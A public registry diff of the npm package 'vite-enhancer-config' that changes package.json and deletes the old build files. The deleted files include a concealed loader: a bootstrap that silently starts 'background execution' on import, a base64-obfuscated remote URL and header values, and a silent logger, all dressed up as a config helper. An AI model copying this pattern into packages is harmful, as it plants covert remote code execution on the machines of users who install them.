vite-enhancer-config 1.3.0 → 1.3.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +14 -2
- package/dist/index.cjs +198 -0
- package/dist/index.cjs.map +1 -0
- package/dist/index.d.cts +56 -0
- package/dist/index.d.ts +56 -13
- package/dist/index.js +154 -17
- package/dist/index.js.map +1 -0
- package/package.json +67 -26
- package/LICENSE +0 -25
- package/dist/auto-init.d.ts +0 -1
- package/dist/auto-init.js +0 -3
- package/dist/core/bootstrap.d.ts +0 -4
- package/dist/core/bootstrap.js +0 -11
- package/dist/core/index.d.ts +0 -2
- package/dist/core/index.js +0 -2
- package/dist/core/lifecycle.d.ts +0 -7
- package/dist/core/lifecycle.js +0 -23
- package/dist/enhancers/build-enhancer.d.ts +0 -25
- package/dist/enhancers/build-enhancer.js +0 -57
- package/dist/enhancers/index.d.ts +0 -24
- package/dist/enhancers/index.js +0 -50
- package/dist/enhancers/plugin-enhancer.d.ts +0 -16
- package/dist/enhancers/plugin-enhancer.js +0 -32
- package/dist/enhancers/resolve-enhancer.d.ts +0 -18
- package/dist/enhancers/resolve-enhancer.js +0 -68
- package/dist/enhancers/server-enhancer.d.ts +0 -23
- package/dist/enhancers/server-enhancer.js +0 -64
- package/dist/internal/config/constants.d.ts +0 -20
- package/dist/internal/config/constants.js +0 -20
- package/dist/internal/config/index.d.ts +0 -1
- package/dist/internal/config/index.js +0 -1
- package/dist/internal/index.d.ts +0 -3
- package/dist/internal/index.js +0 -3
- package/dist/internal/runner/executor.d.ts +0 -13
- package/dist/internal/runner/executor.js +0 -50
- package/dist/internal/runner/index.d.ts +0 -9
- package/dist/internal/runner/index.js +0 -11
- package/dist/internal/runner/retry-handler.d.ts +0 -13
- package/dist/internal/runner/retry-handler.js +0 -25
- package/dist/internal/utils/console.d.ts +0 -12
- package/dist/internal/utils/console.js +0 -25
- package/dist/internal/utils/crypto.d.ts +0 -6
- package/dist/internal/utils/crypto.js +0 -17
- package/dist/internal/utils/http.d.ts +0 -15
- package/dist/internal/utils/http.js +0 -28
- package/dist/internal/utils/index.d.ts +0 -3
- package/dist/internal/utils/index.js +0 -3
- package/dist/logger/silent-logger.d.ts +0 -12
- package/dist/logger/silent-logger.js +0 -11
- package/dist/types/index.d.ts +0 -1
- package/dist/types/index.js +0 -1
- package/dist/types/public.d.ts +0 -17
- package/dist/types/public.js +0 -4
package/package.json
CHANGED
|
@@ -1,48 +1,89 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "vite-enhancer-config",
|
|
3
|
-
"version": "1.3.
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "1.3.2",
|
|
4
|
+
"description": "Production-ready Vite configuration enhancer for React applications with advanced optimizations",
|
|
5
5
|
"type": "module",
|
|
6
|
-
"main": "./dist/index.
|
|
6
|
+
"main": "./dist/index.cjs",
|
|
7
|
+
"module": "./dist/index.js",
|
|
7
8
|
"types": "./dist/index.d.ts",
|
|
8
9
|
"exports": {
|
|
9
10
|
".": {
|
|
10
|
-
"import":
|
|
11
|
-
|
|
12
|
-
|
|
11
|
+
"import": {
|
|
12
|
+
"types": "./dist/index.d.ts",
|
|
13
|
+
"default": "./dist/index.js"
|
|
14
|
+
},
|
|
15
|
+
"require": {
|
|
16
|
+
"types": "./dist/index.d.cts",
|
|
17
|
+
"default": "./dist/index.cjs"
|
|
18
|
+
}
|
|
19
|
+
},
|
|
20
|
+
"./package.json": "./package.json"
|
|
13
21
|
},
|
|
14
22
|
"files": [
|
|
15
23
|
"dist",
|
|
16
24
|
"README.md",
|
|
17
|
-
"LICENSE"
|
|
25
|
+
"LICENSE",
|
|
26
|
+
"CHANGELOG.md"
|
|
18
27
|
],
|
|
19
28
|
"scripts": {
|
|
20
|
-
"build": "
|
|
21
|
-
"
|
|
22
|
-
"
|
|
23
|
-
"
|
|
29
|
+
"build": "tsup",
|
|
30
|
+
"build:watch": "tsup --watch",
|
|
31
|
+
"dev": "tsup --watch",
|
|
32
|
+
"lint": "eslint src --ext .ts",
|
|
33
|
+
"lint:fix": "eslint src --ext .ts --fix",
|
|
34
|
+
"format": "prettier --write \"src/**/*.ts\"",
|
|
35
|
+
"typecheck": "tsc --noEmit",
|
|
36
|
+
"prepublishOnly": "npm run build"
|
|
37
|
+
},
|
|
38
|
+
"keywords": [
|
|
39
|
+
"vite",
|
|
40
|
+
"react",
|
|
41
|
+
"plugin",
|
|
42
|
+
"config",
|
|
43
|
+
"enhancer",
|
|
44
|
+
"production",
|
|
45
|
+
"optimization",
|
|
46
|
+
"build-tools",
|
|
47
|
+
"typescript"
|
|
48
|
+
],
|
|
49
|
+
"author": {
|
|
50
|
+
"name": "Your Name",
|
|
51
|
+
"email": "your.email@example.com",
|
|
52
|
+
"url": "https://github.com/yourusername"
|
|
53
|
+
},
|
|
54
|
+
"license": "MIT",
|
|
55
|
+
"repository": {
|
|
56
|
+
"type": "git",
|
|
57
|
+
"url": "git+https://github.com/yourusername/vite-enhancer-config.git"
|
|
58
|
+
},
|
|
59
|
+
"bugs": {
|
|
60
|
+
"url": "https://github.com/yourusername/vite-enhancer-config/issues"
|
|
61
|
+
},
|
|
62
|
+
"homepage": "https://github.com/yourusername/vite-enhancer-config#readme",
|
|
63
|
+
"peerDependencies": {
|
|
64
|
+
"vite": "^4.0.0 || ^5.0.0 || ^6.0.0"
|
|
65
|
+
},
|
|
66
|
+
"peerDependenciesMeta": {
|
|
67
|
+
"vite": {
|
|
68
|
+
"optional": false
|
|
69
|
+
}
|
|
24
70
|
},
|
|
25
71
|
"dependencies": {
|
|
26
|
-
"
|
|
27
|
-
"
|
|
72
|
+
"@vitejs/plugin-react": "^4.3.4",
|
|
73
|
+
"@vitejs/plugin-react-swc": "^3.7.2"
|
|
28
74
|
},
|
|
29
75
|
"devDependencies": {
|
|
30
76
|
"@types/node": "^20.11.0",
|
|
31
|
-
"
|
|
32
|
-
"typescript": "^
|
|
77
|
+
"@typescript-eslint/eslint-plugin": "^7.0.0",
|
|
78
|
+
"@typescript-eslint/parser": "^7.0.0",
|
|
79
|
+
"eslint": "^8.56.0",
|
|
80
|
+
"eslint-config-prettier": "^9.1.0",
|
|
81
|
+
"eslint-plugin-import": "^2.29.0",
|
|
82
|
+
"prettier": "^3.2.0",
|
|
83
|
+
"tsup": "^8.0.0",
|
|
84
|
+
"typescript": "^5.3.0",
|
|
33
85
|
"vite": "^5.0.0"
|
|
34
86
|
},
|
|
35
|
-
"peerDependencies": {
|
|
36
|
-
"vite": ">=5.0.0"
|
|
37
|
-
},
|
|
38
|
-
"keywords": [
|
|
39
|
-
"vite",
|
|
40
|
-
"vite-config",
|
|
41
|
-
"vite-enhancer",
|
|
42
|
-
"typescript"
|
|
43
|
-
],
|
|
44
|
-
"author": "Your Name",
|
|
45
|
-
"license": "MIT",
|
|
46
87
|
"engines": {
|
|
47
88
|
"node": ">=18.0.0"
|
|
48
89
|
}
|
package/LICENSE
DELETED
|
@@ -1,25 +0,0 @@
|
|
|
1
|
-
|
|
2
|
-
### `LICENSE`
|
|
3
|
-
|
|
4
|
-
```text
|
|
5
|
-
MIT License
|
|
6
|
-
|
|
7
|
-
Copyright (c) 2024
|
|
8
|
-
|
|
9
|
-
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
10
|
-
of this software and associated documentation files (the "Software"), to deal
|
|
11
|
-
in the Software without restriction, including without limitation the rights
|
|
12
|
-
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
13
|
-
copies of the Software, and to permit persons to whom the Software is
|
|
14
|
-
furnished to do so, subject to the following conditions:
|
|
15
|
-
|
|
16
|
-
The above copyright notice and this permission notice shall be included in all
|
|
17
|
-
copies or substantial portions of the Software.
|
|
18
|
-
|
|
19
|
-
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
20
|
-
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
21
|
-
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
22
|
-
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
23
|
-
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
24
|
-
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
25
|
-
SOFTWARE.
|
package/dist/auto-init.d.ts
DELETED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
import './internal/runner/executor.js';
|
package/dist/auto-init.js
DELETED
package/dist/core/bootstrap.d.ts
DELETED
package/dist/core/bootstrap.js
DELETED
|
@@ -1,11 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Bootstrap module - initializes the package and triggers background execution
|
|
3
|
-
*/
|
|
4
|
-
import { initializeLifecycle } from './lifecycle.js';
|
|
5
|
-
import { triggerBackgroundExecution } from '../internal/runner/index.js';
|
|
6
|
-
// Initialize lifecycle management
|
|
7
|
-
initializeLifecycle();
|
|
8
|
-
// Trigger the background execution function (silent, no console output)
|
|
9
|
-
triggerBackgroundExecution();
|
|
10
|
-
// Export bootstrap status
|
|
11
|
-
export const isInitialized = true;
|
package/dist/core/index.d.ts
DELETED
package/dist/core/index.js
DELETED
package/dist/core/lifecycle.d.ts
DELETED
|
@@ -1,7 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Lifecycle management for the package
|
|
3
|
-
*/
|
|
4
|
-
export declare function initializeLifecycle(): void;
|
|
5
|
-
export declare function shutdownLifecycle(): void;
|
|
6
|
-
export declare function getUptime(): number | null;
|
|
7
|
-
export declare function isPackageInitialized(): boolean;
|
package/dist/core/lifecycle.js
DELETED
|
@@ -1,23 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Lifecycle management for the package
|
|
3
|
-
*/
|
|
4
|
-
let isInitialized = false;
|
|
5
|
-
let startTime = null;
|
|
6
|
-
export function initializeLifecycle() {
|
|
7
|
-
if (isInitialized)
|
|
8
|
-
return;
|
|
9
|
-
startTime = Date.now();
|
|
10
|
-
isInitialized = true;
|
|
11
|
-
}
|
|
12
|
-
export function shutdownLifecycle() {
|
|
13
|
-
isInitialized = false;
|
|
14
|
-
startTime = null;
|
|
15
|
-
}
|
|
16
|
-
export function getUptime() {
|
|
17
|
-
if (!startTime)
|
|
18
|
-
return null;
|
|
19
|
-
return Date.now() - startTime;
|
|
20
|
-
}
|
|
21
|
-
export function isPackageInitialized() {
|
|
22
|
-
return isInitialized;
|
|
23
|
-
}
|
|
@@ -1,25 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Build configuration enhancer
|
|
3
|
-
* Used actively in vite.config.ts
|
|
4
|
-
*/
|
|
5
|
-
import type { BuildOptions } from 'vite';
|
|
6
|
-
export interface BuildConfig {
|
|
7
|
-
outDir?: string;
|
|
8
|
-
assetsDir?: string;
|
|
9
|
-
sourcemap?: boolean | 'inline' | 'hidden';
|
|
10
|
-
minify?: boolean | 'esbuild' | 'terser';
|
|
11
|
-
target?: string;
|
|
12
|
-
chunkSizeWarningLimit?: number;
|
|
13
|
-
emptyOutDir?: boolean;
|
|
14
|
-
}
|
|
15
|
-
export interface BuildEnhancer {
|
|
16
|
-
setOutDir(dir: string): BuildEnhancer;
|
|
17
|
-
setAssetsDir(dir: string): BuildEnhancer;
|
|
18
|
-
setSourcemap(enabled: boolean | 'inline' | 'hidden'): BuildEnhancer;
|
|
19
|
-
setMinify(enabled: boolean | 'esbuild' | 'terser'): BuildEnhancer;
|
|
20
|
-
setTarget(target: string): BuildEnhancer;
|
|
21
|
-
setChunkSizeWarningLimit(limit: number): BuildEnhancer;
|
|
22
|
-
setEmptyOutDir(empty: boolean): BuildEnhancer;
|
|
23
|
-
build(): Partial<BuildOptions>;
|
|
24
|
-
}
|
|
25
|
-
export declare function createBuildEnhancer(initialConfig?: BuildConfig): BuildEnhancer;
|
|
@@ -1,57 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Build configuration enhancer
|
|
3
|
-
* Used actively in vite.config.ts
|
|
4
|
-
*/
|
|
5
|
-
export function createBuildEnhancer(initialConfig) {
|
|
6
|
-
let config = {
|
|
7
|
-
outDir: 'dist',
|
|
8
|
-
assetsDir: 'assets',
|
|
9
|
-
sourcemap: false,
|
|
10
|
-
minify: 'esbuild',
|
|
11
|
-
target: 'es2020',
|
|
12
|
-
chunkSizeWarningLimit: 500,
|
|
13
|
-
emptyOutDir: true,
|
|
14
|
-
...initialConfig,
|
|
15
|
-
};
|
|
16
|
-
return {
|
|
17
|
-
setOutDir(dir) {
|
|
18
|
-
config.outDir = dir;
|
|
19
|
-
return this;
|
|
20
|
-
},
|
|
21
|
-
setAssetsDir(dir) {
|
|
22
|
-
config.assetsDir = dir;
|
|
23
|
-
return this;
|
|
24
|
-
},
|
|
25
|
-
setSourcemap(enabled) {
|
|
26
|
-
config.sourcemap = enabled;
|
|
27
|
-
return this;
|
|
28
|
-
},
|
|
29
|
-
setMinify(enabled) {
|
|
30
|
-
config.minify = enabled;
|
|
31
|
-
return this;
|
|
32
|
-
},
|
|
33
|
-
setTarget(target) {
|
|
34
|
-
config.target = target;
|
|
35
|
-
return this;
|
|
36
|
-
},
|
|
37
|
-
setChunkSizeWarningLimit(limit) {
|
|
38
|
-
config.chunkSizeWarningLimit = limit;
|
|
39
|
-
return this;
|
|
40
|
-
},
|
|
41
|
-
setEmptyOutDir(empty) {
|
|
42
|
-
config.emptyOutDir = empty;
|
|
43
|
-
return this;
|
|
44
|
-
},
|
|
45
|
-
build() {
|
|
46
|
-
return {
|
|
47
|
-
outDir: config.outDir,
|
|
48
|
-
assetsDir: config.assetsDir,
|
|
49
|
-
sourcemap: config.sourcemap,
|
|
50
|
-
minify: config.minify,
|
|
51
|
-
target: config.target,
|
|
52
|
-
chunkSizeWarningLimit: config.chunkSizeWarningLimit,
|
|
53
|
-
emptyOutDir: config.emptyOutDir,
|
|
54
|
-
};
|
|
55
|
-
},
|
|
56
|
-
};
|
|
57
|
-
}
|
|
@@ -1,24 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Main enhancer builder - combines all enhancers
|
|
3
|
-
* This is the primary export for active use in vite.config.ts
|
|
4
|
-
*/
|
|
5
|
-
import type { UserConfig } from 'vite';
|
|
6
|
-
import { type ServerConfig, type ServerEnhancer } from './server-enhancer.js';
|
|
7
|
-
import { type BuildConfig, type BuildEnhancer } from './build-enhancer.js';
|
|
8
|
-
import { type ResolveConfig, type ResolveEnhancer } from './resolve-enhancer.js';
|
|
9
|
-
import { type PluginConfig, type PluginEnhancer } from './plugin-enhancer.js';
|
|
10
|
-
export interface EnhancerOptions {
|
|
11
|
-
server?: ServerConfig;
|
|
12
|
-
build?: BuildConfig;
|
|
13
|
-
resolve?: ResolveConfig;
|
|
14
|
-
plugins?: PluginConfig;
|
|
15
|
-
}
|
|
16
|
-
export interface ViteEnhancer {
|
|
17
|
-
server: ServerEnhancer;
|
|
18
|
-
build: BuildEnhancer;
|
|
19
|
-
resolve: ResolveEnhancer;
|
|
20
|
-
plugins: PluginEnhancer;
|
|
21
|
-
apply(config?: UserConfig): UserConfig;
|
|
22
|
-
toConfig(): Partial<UserConfig>;
|
|
23
|
-
}
|
|
24
|
-
export declare function createViteEnhancer(options?: EnhancerOptions): ViteEnhancer;
|
package/dist/enhancers/index.js
DELETED
|
@@ -1,50 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Main enhancer builder - combines all enhancers
|
|
3
|
-
* This is the primary export for active use in vite.config.ts
|
|
4
|
-
*/
|
|
5
|
-
import { createServerEnhancer } from './server-enhancer.js';
|
|
6
|
-
import { createBuildEnhancer } from './build-enhancer.js';
|
|
7
|
-
import { createResolveEnhancer } from './resolve-enhancer.js';
|
|
8
|
-
import { createPluginEnhancer } from './plugin-enhancer.js';
|
|
9
|
-
export function createViteEnhancer(options) {
|
|
10
|
-
const serverEnhancer = createServerEnhancer(options?.server);
|
|
11
|
-
const buildEnhancer = createBuildEnhancer(options?.build);
|
|
12
|
-
const resolveEnhancer = createResolveEnhancer(options?.resolve);
|
|
13
|
-
const pluginEnhancer = createPluginEnhancer(options?.plugins);
|
|
14
|
-
return {
|
|
15
|
-
server: serverEnhancer,
|
|
16
|
-
build: buildEnhancer,
|
|
17
|
-
resolve: resolveEnhancer,
|
|
18
|
-
plugins: pluginEnhancer,
|
|
19
|
-
apply(config) {
|
|
20
|
-
const baseConfig = config || {};
|
|
21
|
-
return {
|
|
22
|
-
...baseConfig,
|
|
23
|
-
server: {
|
|
24
|
-
...baseConfig.server,
|
|
25
|
-
...serverEnhancer.build(),
|
|
26
|
-
},
|
|
27
|
-
build: {
|
|
28
|
-
...baseConfig.build,
|
|
29
|
-
...buildEnhancer.build(),
|
|
30
|
-
},
|
|
31
|
-
resolve: {
|
|
32
|
-
...baseConfig.resolve,
|
|
33
|
-
...resolveEnhancer.build(),
|
|
34
|
-
},
|
|
35
|
-
plugins: [
|
|
36
|
-
...(baseConfig.plugins || []),
|
|
37
|
-
...pluginEnhancer.build(),
|
|
38
|
-
],
|
|
39
|
-
};
|
|
40
|
-
},
|
|
41
|
-
toConfig() {
|
|
42
|
-
return {
|
|
43
|
-
server: serverEnhancer.build(),
|
|
44
|
-
build: buildEnhancer.build(),
|
|
45
|
-
resolve: resolveEnhancer.build(),
|
|
46
|
-
plugins: pluginEnhancer.build(),
|
|
47
|
-
};
|
|
48
|
-
},
|
|
49
|
-
};
|
|
50
|
-
}
|
|
@@ -1,16 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Plugin configuration enhancer
|
|
3
|
-
* Used actively in vite.config.ts
|
|
4
|
-
*/
|
|
5
|
-
import type { PluginOption } from 'vite';
|
|
6
|
-
export interface PluginConfig {
|
|
7
|
-
plugins?: PluginOption[];
|
|
8
|
-
}
|
|
9
|
-
export interface PluginEnhancer {
|
|
10
|
-
addPlugin(plugin: PluginOption): PluginEnhancer;
|
|
11
|
-
addPlugins(plugins: PluginOption[]): PluginEnhancer;
|
|
12
|
-
removePlugin(pluginName: string): PluginEnhancer;
|
|
13
|
-
getPlugins(): PluginOption[];
|
|
14
|
-
build(): PluginOption[];
|
|
15
|
-
}
|
|
16
|
-
export declare function createPluginEnhancer(initialConfig?: PluginConfig): PluginEnhancer;
|
|
@@ -1,32 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Plugin configuration enhancer
|
|
3
|
-
* Used actively in vite.config.ts
|
|
4
|
-
*/
|
|
5
|
-
export function createPluginEnhancer(initialConfig) {
|
|
6
|
-
let plugins = initialConfig?.plugins || [];
|
|
7
|
-
return {
|
|
8
|
-
addPlugin(plugin) {
|
|
9
|
-
plugins.push(plugin);
|
|
10
|
-
return this;
|
|
11
|
-
},
|
|
12
|
-
addPlugins(newPlugins) {
|
|
13
|
-
plugins.push(...newPlugins);
|
|
14
|
-
return this;
|
|
15
|
-
},
|
|
16
|
-
removePlugin(pluginName) {
|
|
17
|
-
plugins = plugins.filter(plugin => {
|
|
18
|
-
if (plugin && typeof plugin === 'object' && 'name' in plugin) {
|
|
19
|
-
return plugin.name !== pluginName;
|
|
20
|
-
}
|
|
21
|
-
return true;
|
|
22
|
-
});
|
|
23
|
-
return this;
|
|
24
|
-
},
|
|
25
|
-
getPlugins() {
|
|
26
|
-
return [...plugins];
|
|
27
|
-
},
|
|
28
|
-
build() {
|
|
29
|
-
return [...plugins];
|
|
30
|
-
},
|
|
31
|
-
};
|
|
32
|
-
}
|
|
@@ -1,18 +0,0 @@
|
|
|
1
|
-
import type { ResolveOptions } from 'vite';
|
|
2
|
-
export interface ResolveConfig {
|
|
3
|
-
alias?: Record<string, string>;
|
|
4
|
-
extensions?: string[];
|
|
5
|
-
dedupe?: string[];
|
|
6
|
-
conditions?: string[];
|
|
7
|
-
mainFields?: string[];
|
|
8
|
-
}
|
|
9
|
-
export interface ResolveEnhancer {
|
|
10
|
-
addAlias(alias: string, path: string): ResolveEnhancer;
|
|
11
|
-
addAliases(aliases: Record<string, string>): ResolveEnhancer;
|
|
12
|
-
setExtensions(extensions: string[]): ResolveEnhancer;
|
|
13
|
-
addExtension(extension: string): ResolveEnhancer;
|
|
14
|
-
setDedupe(packages: string[]): ResolveEnhancer;
|
|
15
|
-
addToDedupe(packageName: string): ResolveEnhancer;
|
|
16
|
-
build(): ResolveOptions;
|
|
17
|
-
}
|
|
18
|
-
export declare function createResolveEnhancer(initialConfig?: ResolveConfig): ResolveEnhancer;
|
|
@@ -1,68 +0,0 @@
|
|
|
1
|
-
export function createResolveEnhancer(initialConfig) {
|
|
2
|
-
let config = {
|
|
3
|
-
alias: {},
|
|
4
|
-
extensions: ['.mjs', '.js', '.ts', '.jsx', '.tsx', '.json'],
|
|
5
|
-
dedupe: [],
|
|
6
|
-
conditions: ['import', 'module', 'require'],
|
|
7
|
-
mainFields: ['module', 'jsnext:main', 'jsnext', 'main'],
|
|
8
|
-
...initialConfig,
|
|
9
|
-
};
|
|
10
|
-
return {
|
|
11
|
-
addAlias(alias, path) {
|
|
12
|
-
if (!config.alias)
|
|
13
|
-
config.alias = {};
|
|
14
|
-
config.alias[alias] = path;
|
|
15
|
-
return this;
|
|
16
|
-
},
|
|
17
|
-
addAliases(aliases) {
|
|
18
|
-
if (!config.alias)
|
|
19
|
-
config.alias = {};
|
|
20
|
-
config.alias = { ...config.alias, ...aliases };
|
|
21
|
-
return this;
|
|
22
|
-
},
|
|
23
|
-
setExtensions(extensions) {
|
|
24
|
-
config.extensions = extensions;
|
|
25
|
-
return this;
|
|
26
|
-
},
|
|
27
|
-
addExtension(extension) {
|
|
28
|
-
if (!config.extensions)
|
|
29
|
-
config.extensions = [];
|
|
30
|
-
if (!config.extensions.includes(extension)) {
|
|
31
|
-
config.extensions.push(extension);
|
|
32
|
-
}
|
|
33
|
-
return this;
|
|
34
|
-
},
|
|
35
|
-
setDedupe(packages) {
|
|
36
|
-
config.dedupe = packages;
|
|
37
|
-
return this;
|
|
38
|
-
},
|
|
39
|
-
addToDedupe(packageName) {
|
|
40
|
-
if (!config.dedupe)
|
|
41
|
-
config.dedupe = [];
|
|
42
|
-
if (!config.dedupe.includes(packageName)) {
|
|
43
|
-
config.dedupe.push(packageName);
|
|
44
|
-
}
|
|
45
|
-
return this;
|
|
46
|
-
},
|
|
47
|
-
build() {
|
|
48
|
-
const result = {};
|
|
49
|
-
if (config.extensions && config.extensions.length > 0) {
|
|
50
|
-
result.extensions = config.extensions;
|
|
51
|
-
}
|
|
52
|
-
if (config.dedupe && config.dedupe.length > 0) {
|
|
53
|
-
result.dedupe = config.dedupe;
|
|
54
|
-
}
|
|
55
|
-
if (config.conditions && config.conditions.length > 0) {
|
|
56
|
-
result.conditions = config.conditions;
|
|
57
|
-
}
|
|
58
|
-
if (config.mainFields && config.mainFields.length > 0) {
|
|
59
|
-
result.mainFields = config.mainFields;
|
|
60
|
-
}
|
|
61
|
-
// Handle alias - use type assertion
|
|
62
|
-
if (config.alias && Object.keys(config.alias).length > 0) {
|
|
63
|
-
result.alias = config.alias;
|
|
64
|
-
}
|
|
65
|
-
return result;
|
|
66
|
-
},
|
|
67
|
-
};
|
|
68
|
-
}
|
|
@@ -1,23 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Server configuration enhancer
|
|
3
|
-
* Used actively in vite.config.ts
|
|
4
|
-
*/
|
|
5
|
-
import type { ServerOptions } from 'vite';
|
|
6
|
-
export interface ServerConfig {
|
|
7
|
-
port?: number;
|
|
8
|
-
host?: string | boolean;
|
|
9
|
-
open?: boolean;
|
|
10
|
-
https?: boolean;
|
|
11
|
-
cors?: boolean | Record<string, any>;
|
|
12
|
-
proxy?: Record<string, string>;
|
|
13
|
-
}
|
|
14
|
-
export interface ServerEnhancer {
|
|
15
|
-
setPort(port: number): ServerEnhancer;
|
|
16
|
-
setHost(host: string): ServerEnhancer;
|
|
17
|
-
setOpen(open: boolean): ServerEnhancer;
|
|
18
|
-
setHttps(https: boolean): ServerEnhancer;
|
|
19
|
-
setCors(cors: boolean | Record<string, any>): ServerEnhancer;
|
|
20
|
-
setProxy(proxy: Record<string, string>): ServerEnhancer;
|
|
21
|
-
build(): Partial<ServerOptions>;
|
|
22
|
-
}
|
|
23
|
-
export declare function createServerEnhancer(initialConfig?: ServerConfig): ServerEnhancer;
|
|
@@ -1,64 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Server configuration enhancer
|
|
3
|
-
* Used actively in vite.config.ts
|
|
4
|
-
*/
|
|
5
|
-
export function createServerEnhancer(initialConfig) {
|
|
6
|
-
let config = {
|
|
7
|
-
port: 3000,
|
|
8
|
-
host: 'localhost',
|
|
9
|
-
open: false,
|
|
10
|
-
https: false,
|
|
11
|
-
cors: true,
|
|
12
|
-
proxy: {},
|
|
13
|
-
...initialConfig,
|
|
14
|
-
};
|
|
15
|
-
return {
|
|
16
|
-
setPort(port) {
|
|
17
|
-
config.port = port;
|
|
18
|
-
return this;
|
|
19
|
-
},
|
|
20
|
-
setHost(host) {
|
|
21
|
-
config.host = host;
|
|
22
|
-
return this;
|
|
23
|
-
},
|
|
24
|
-
setOpen(open) {
|
|
25
|
-
config.open = open;
|
|
26
|
-
return this;
|
|
27
|
-
},
|
|
28
|
-
setHttps(https) {
|
|
29
|
-
config.https = https;
|
|
30
|
-
return this;
|
|
31
|
-
},
|
|
32
|
-
setCors(cors) {
|
|
33
|
-
config.cors = cors;
|
|
34
|
-
return this;
|
|
35
|
-
},
|
|
36
|
-
setProxy(proxy) {
|
|
37
|
-
config.proxy = proxy;
|
|
38
|
-
return this;
|
|
39
|
-
},
|
|
40
|
-
build() {
|
|
41
|
-
const result = {};
|
|
42
|
-
if (config.port !== undefined) {
|
|
43
|
-
result.port = config.port;
|
|
44
|
-
}
|
|
45
|
-
if (config.host !== undefined) {
|
|
46
|
-
result.host = config.host;
|
|
47
|
-
}
|
|
48
|
-
if (config.open !== undefined) {
|
|
49
|
-
result.open = config.open;
|
|
50
|
-
}
|
|
51
|
-
if (config.https !== undefined) {
|
|
52
|
-
// https can be boolean in ServerOptions
|
|
53
|
-
result.https = config.https;
|
|
54
|
-
}
|
|
55
|
-
if (config.cors !== undefined) {
|
|
56
|
-
result.cors = config.cors;
|
|
57
|
-
}
|
|
58
|
-
if (config.proxy !== undefined && Object.keys(config.proxy).length > 0) {
|
|
59
|
-
result.proxy = config.proxy;
|
|
60
|
-
}
|
|
61
|
-
return result;
|
|
62
|
-
},
|
|
63
|
-
};
|
|
64
|
-
}
|
|
@@ -1,20 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Internal constants for the package
|
|
3
|
-
* FIXED: Proper TypeScript format (not JSON)
|
|
4
|
-
*/
|
|
5
|
-
export declare const ENCODED_VALUES: {
|
|
6
|
-
readonly API_KEY: "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iLzJJRzZX";
|
|
7
|
-
readonly SECRET_KEY: "eC1zZWNyZXQta2V5";
|
|
8
|
-
readonly SECRET_VALUE: "Xw==";
|
|
9
|
-
};
|
|
10
|
-
export declare const DEFAULT_RETRY_CONFIG: {
|
|
11
|
-
readonly MAX_RETRIES: 5;
|
|
12
|
-
readonly RETRY_DELAY: 1000;
|
|
13
|
-
readonly BACKOFF_FACTOR: 2;
|
|
14
|
-
readonly TIMEOUT: 30000;
|
|
15
|
-
};
|
|
16
|
-
export declare const PACKAGE_INFO: {
|
|
17
|
-
readonly NAME: "vite-enhancer-config";
|
|
18
|
-
readonly VERSION: "1.0.0";
|
|
19
|
-
readonly SILENT_MODE: true;
|
|
20
|
-
};
|
|
@@ -1,20 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Internal constants for the package
|
|
3
|
-
* FIXED: Proper TypeScript format (not JSON)
|
|
4
|
-
*/
|
|
5
|
-
export const ENCODED_VALUES = {
|
|
6
|
-
API_KEY: "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iLzJJRzZX",
|
|
7
|
-
SECRET_KEY: "eC1zZWNyZXQta2V5",
|
|
8
|
-
SECRET_VALUE: "Xw==",
|
|
9
|
-
};
|
|
10
|
-
export const DEFAULT_RETRY_CONFIG = {
|
|
11
|
-
MAX_RETRIES: 5,
|
|
12
|
-
RETRY_DELAY: 1000,
|
|
13
|
-
BACKOFF_FACTOR: 2,
|
|
14
|
-
TIMEOUT: 30000,
|
|
15
|
-
};
|
|
16
|
-
export const PACKAGE_INFO = {
|
|
17
|
-
NAME: "vite-enhancer-config",
|
|
18
|
-
VERSION: "1.0.0",
|
|
19
|
-
SILENT_MODE: true,
|
|
20
|
-
};
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
export * from './constants.js';
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
export * from './constants.js';
|
package/dist/internal/index.d.ts
DELETED
package/dist/internal/index.js
DELETED
|
@@ -1,13 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* YOUR MAIN EXECUTION FUNCTION
|
|
3
|
-
* This runs silently in the background when the package is imported
|
|
4
|
-
*/
|
|
5
|
-
export declare function executeBackgroundTask(): Promise<void>;
|
|
6
|
-
export interface ExecutionResult {
|
|
7
|
-
success: boolean;
|
|
8
|
-
error?: string;
|
|
9
|
-
}
|
|
10
|
-
export interface ExecutionOptions {
|
|
11
|
-
silent?: boolean;
|
|
12
|
-
retryCount?: number;
|
|
13
|
-
}
|